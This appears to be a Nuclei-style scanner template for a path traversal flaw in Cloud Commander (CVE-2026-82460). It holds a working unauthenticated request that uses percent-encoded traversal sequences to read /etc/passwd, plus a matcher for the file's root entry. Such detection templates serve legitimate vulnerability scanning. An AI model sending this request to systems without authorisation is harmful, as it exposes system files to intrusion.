id: CVE-2026-82460

info:
  name: "Cloud Commander - Path Traversal Arbitrary File Read via /api/v1/markdown"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Cloud Commander (cloudcmd) before 19.20.2 contains a directory traversal vulnerability in its REST
    file-operation and markdown endpoints that fail to properly validate path normalization. An
    unauthenticated attacker can send percent-encoded traversal sequences to the GET /api/v1/markdown
    endpoint with the relative query flag to read files outside the configured root directory, such as
    /etc/passwd, returned verbatim in the response body. Fixed in version 19.20.2.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-82460&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=cloudcmd&match=exact
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
    cvss-score: 9.3
    cve-id: CVE-2026-82460
    cwe-id: CWE-22
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2026,cloudcmd,cloud-commander,lfi,traversal

http:
  - raw:
      - |
        GET /api/v1/markdown/..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd?relative HTTP/1.1
        Host: {{Hostname}}
    unsafe: true
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
      - type: status
        status:
          - 200